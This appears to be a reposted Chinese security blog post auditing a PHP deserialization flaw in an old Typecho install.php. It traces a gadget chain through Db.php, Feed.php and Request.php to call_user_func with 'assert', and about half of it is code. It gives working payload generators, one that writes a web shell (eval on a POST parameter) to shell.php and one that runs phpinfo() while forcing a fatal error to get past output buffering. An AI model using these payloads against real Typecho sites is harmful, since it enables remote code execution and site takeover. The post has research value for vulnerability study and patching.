欢迎大家来到IT世界,在知识的湖畔探索吧!
原创: p0desta 合天智汇
虽然自己也水了些CVE,但是并没有自己满意的、漂亮的漏洞利用链,今天呢主要是自己还没审出过反序列化漏洞,所以找了typecho老版本来审一下。
正文
在install.php第246行会反序列化操作
$config = unserialize(base64_decode( Typecho_Cookie :: get ( '__typecho_config' ))); $type = explode( '_' , $config[ 'adapter' ]); $type = array_pop($type);
欢迎大家来到IT世界,在知识的湖畔探索吧!
进Typecho_Cookie类看一下get方法
欢迎大家来到IT世界,在知识的湖畔探索吧! public static function get ($key, $default = NULL) { $key = self ::$_prefix . $key; $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default); return $value; }
这里很显然是一个获取值的。
继续看一下怎么进入到这个反序列化,这里php夹杂着html代码,不太方便看,我简单处理一下
首先
if (!isset($_GET[ 'finish' ]) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php' ) && empty($_SESSION[ 'typecho' ])) { exit ; } // 挡掉可能的跨站请求 if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER[ 'HTTP_REFERER' ])) { exit ; } $parts = parse_url($_SERVER[ 'HTTP_REFERER' ]); if (!empty($parts[ 'port' ]) && $parts[ 'port' ] != 80 && ! Typecho_Common ::isAppEngine()) { $parts[ 'host' ] = "{$parts['host']}:{$parts['port']}" ; } if (empty($parts[ 'host' ]) || $_SERVER[ 'HTTP_HOST' ] != $parts[ 'host' ]) { exit ; } }
这里是判断是否已经安装的,一般其他cms的写法是只判断是否已经存在了lock文件,但是这里有个可控参数,也就是我们还能进入这个install.php页面。
继续往下走,可以直接进入反序列化操作
这里还需要魔术方法,可以参考我总结的另外一篇文章 http://p0desta.com/2018/04/01/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93/
欢迎大家来到IT世界,在知识的湖畔探索吧!$config = unserialize(base64_decode( Typecho_Cookie :: get ( '__typecho_config' ))); Typecho_Cookie :: delete ( '__typecho_config' ); $db = new Typecho_Db ($config[ 'adapter' ], $config[ 'prefix' ]); $db->addServer($config, Typecho_Db ::READ | Typecho_Db ::WRITE); Typecho_Db :: set ($db);
这里我首先跟的是 $db->addServer,但是当我跟到 Config.php第62到81行的时候
public function setDefault($config, $replace = false ) { if (empty($config)) { return ; } /** 初始化参数 */ if (is_string($config)) { parse_str($config, $params); } else { $params = $config; } /** 设置默认参数 */ foreach ($params as $name => $value) { if ($replace || !array_key_exists($name, $this->_currentConfig)) { $this->_currentConfig[$name] = $value; } } }
只发现到这里如果类当做数组遍历的时候会触发 cureent方法,但是我全局搜 current方法并没有找到可以利用的地方。
然后继续跟一下
$db = new Typecho_Db ($config[ 'adapter' ], $config[ 'prefix' ]);
跟到 Db.php第114行到135行
public function __construct($adapterName, $prefix = 'typecho_' ) { /** 获取适配器名称 */ $this->_adapterName = $adapterName; /** 数据库适配器 */ $adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable' ))) { throw new Typecho_Db_Exception ( "Adapter {$adapterName} is not available" ); } $this->_prefix = $prefix; /** 初始化内部变量 */ $this->_pool = array(); $this->_connectedPool = array(); $this->_config = array(); //实例化适配器对象 $this->_adapter = new $adapterName(); }
危险的地方在于
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
因为 $adapterName方法是可控的,被当做字符串拼接了,那么就会触发 toString方法,简化一下
<?php class p0desta{ function __toString(){ echo "p0desta" ; return "p0desta" ; } } class test{ private $t; function __construct($s1){ $this->t = $s1; $s1 = "xxx" .$s1; } } $config = new p0desta(); $t2 = new test($config); output:p0desta
那么全局搜一下toString找一下可以利用的地方
找到这个跟进去,这里看Feed.php第290行
$content .= '<dc:creator>' . htmlspecialchars($item[ 'author' ]->screenName) . '</dc:creator>' . self ::EOL;
读取不可访问属性的值时,get() 会被调用,那么只要item[‘author’]我们可控,那么就可以出发get()魔术方法。
通过全局搜素 __get()跟进/var/Typecho/Request.php,267行
public function __get($key) { return $this-> get ($key); }
继续看get方法
public function get ($key, $default = NULL) { switch ( true ) { case isset($this->_params[$key]): $value = $this->_params[$key]; break ; case isset( self ::$_httpParams[$key]): $value = self ::$_httpParams[$key]; break ; default : $value = $default; break ; } $value = !is_array($value) && strlen($value) > 0 ? $value : $default; return $this->_applyFilter($value); }
接着调用了 _applyFilter方法,继续跟进
private function _applyFilter($value) { if ($this->_filter) { foreach ($this->_filter as $filter) { $value = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value); } $this->_filter = array(); } return $value; }
call_user_func($filter,$value)看到这里,我们关心的事情就是怎么构造去触发任意代码执行了。
到这里我们来整理下攻击链
install.php->反序列化操作->跟进 Db .php->触发toString魔术方法->找到 Feed .php-> 触发 get 魔术方法->找到/ var / Typecho / Request .php->调用call_user_func
构造payload
<?php class Typecho_Feed { private $_type; private $_items = array(); public function __construct() { $this->_type = 'RSS 2.0' ; $this->_items[] = array( "author" => new Typecho_Request () ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params[ 'screenName' ] = 'file_put_contents(\'shell.php\', \'<?php eval($_POST[1]); ?>\')'; $this->_filter[0] = "assert"; } } $p0desta = array( "adapter"=>new Typecho_Feed, "prefix"=>"typecho_" ); var_dump(base64_encode(serialize($p0desta)));
一开始我直接构造getshell,并没有遇到什么问题,但是如果想讲执行结果输出出来就会遇到问题,问题产生的原因呢在于
install.php第54行 ob_start();
看一下手册
什么意思呢,这里我写个小demo来解释一下
<?php ob_start(); echo "1" ; ob_end_clean();
这个执行的话是不会有输出的, ob_start()激活了缓冲,输出结果会被写入到缓冲区,但是如果执行了 ob_end_clean函数就会把缓冲区的内容丢弃掉,那么也就没有输出了。
在Common.php第225行
set_exception_handler(array( 'Typecho_Common' , 'exceptionHandle' ));
设置了用户自定义的异常处理函数,当存在未捕获的异常时会调用,看一下定义测函数
public static function exceptionHandle( Exception $exception) { @ob_end_clean (); if ( defined ( '__TYPECHO_DEBUG__' )) { echo '<h1>' . $exception->getMessage() . '</h1>' ; echo nl2br($exception->__toString()); } else { if ( 404 == $exception->getCode() && !empty( self ::$exceptionHandle)) { $handleClass = self ::$exceptionHandle; new $handleClass($exception); } else { self ::error($exception); } } exit ; }
@ob_end_clean();显然,它清理了缓冲区。
这里因为payload使我们构造好带进去的,很难做到不触发异常,那么我们有什么办法来绕过呢
这里我想到的是让它执行完我们的命令之后引发个报错,看一下报错类型
Fatal Error :致命错误(脚本终止运行) E_ERROR // 致命的运行错误,错误无法恢复,暂停执行脚本 E_CORE_ERROR // PHP启动时初始化过程中的致命错误 E_COMPILE_ERROR // 编译时致命性错,就像由Zend脚本引擎生成了一个E_ERROR E_USER_ERROR // 自定义错误消息。像用PHP函数trigger_error(错误类型设置为:E_USER_ERROR) Parse Error :编译时解析错误,语法错误(脚本终止运行) E_PARSE //编译时的语法解析错误 Warning Error :警告错误(仅给出提示信息,脚本不终止运行) E_WARNING // 运行时警告 (非致命错误)。 E_CORE_WARNING // PHP初始化启动过程中发生的警告 (非致命错误) 。 E_COMPILE_WARNING // 编译警告 E_USER_WARNING // 用户产生的警告信息 Notice Error :通知错误(仅给出通知信息,脚本不终止运行) E_NOTICE // 运行时通知。表示脚本遇到可能会表现为错误的情况. E_USER_NOTICE // 用户产生的通知信息。
写个demo解释一下
<?php class a{ public $c; } $t = new a(); echo $t[ 'aaa' ];
看Feed.php第292-296行
if (!empty($item[ 'category' ]) && is_array($item[ 'category' ])) { foreach ($item[ 'category' ] as $category) { $content .= '<category><![CDATA[' . $category[ 'name' ] . ']]></category>' . self ::EOL; } }
那么我们就可以让其停止执行,这样的话就不会执行到 ob_end_clean函数了。
修改payload如下
<?php class Typecho_Feed { private $_type; private $_items = array(); public function __construct() { $this->_type = 'RSS 2.0' ; $this->_items[] = array( "author" => new Typecho_Request (), "category" =>array( new Typecho_Request ()) ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params[ 'screenName' ] = 'phpinfo();' ; $this->_filter[] = "assert" ; } } $p0desta = array( "adapter" => new Typecho_Feed , "prefix" => "typecho_" ); echo(base64_encode(serialize($p0desta)));
总结
总的利用链还是非常有意思的
install.php->反序列化操作->跟进 Db .php->触发toString魔术方法->找到 Feed .php-> 触发 get 魔术方法->找到/ var / Typecho / Request .php->调用call_user_func
有趣的攻击链总能引起研究的兴趣。
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/31626.html